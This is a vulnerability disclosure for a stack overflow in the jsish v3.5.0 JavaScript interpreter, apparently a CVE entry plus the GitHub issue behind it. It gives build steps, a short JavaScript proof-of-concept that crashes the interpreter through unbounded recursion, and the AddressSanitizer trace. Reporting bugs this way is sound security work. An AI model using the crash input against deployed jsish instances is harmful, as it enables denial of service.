Jsish v3.5.0 was discovered to contain a stack overflow via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5.
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
function JSEtest(Function) {
    var a = Array.prototype.push.call(a, 42, 43);
}
for (var i = 0; i < 25000; i++) {
    JSEtest(Array);
}
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
==9209==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd05e20e58 (pc 0x7f6abd3fb1e6 bp 0x7ffd05e216f0 sp 0x7ffd05e20e60 T0)
    #0 0x7f6abd3fb1e5  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5)
    #1 0x5571122680fd in Jsi_NameLookup src/jsiUtils.c:413
    #2 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #3 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    #4 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #5 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    #6 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #7 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    #8 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #9 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    ......					......					......
    ......					......					......
    #246 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #247 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    #248 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #249 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    #250 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119

SUMMARY: AddressSanitizer: stack-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5)
==9209==ABORTING
```
Credits: Found by OWL337 team.
Stack-overflow in (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5)
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Stack-overflow in (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5)
Issue date:

--- start body ---
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
function JSEtest(Function) {
    var a = Array.prototype.push.call(a, 42, 43);
}
for (var i = 0; i < 25000; i++) {
    JSEtest(Array);
}
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
==9209==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd05e20e58 (pc 0x7f6abd3fb1e6 bp 0x7ffd05e216f0 sp 0x7ffd05e20e60 T0)
    #0 0x7f6abd3fb1e5  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5)
    #1 0x5571122680fd in Jsi_NameLookup src/jsiUtils.c:413
    #2 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #3 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    #4 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #5 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    #6 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #7 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    #8 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #9 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    ......					......					......
    ......					......					......
    #246 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #247 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    #248 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
    #249 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
    #250 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119

SUMMARY: AddressSanitizer: stack-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5)
==9209==ABORTING
```
Credits: Found by OWL337 team.
--- end body ---

comments :
--- start comments ---

--- end comments ---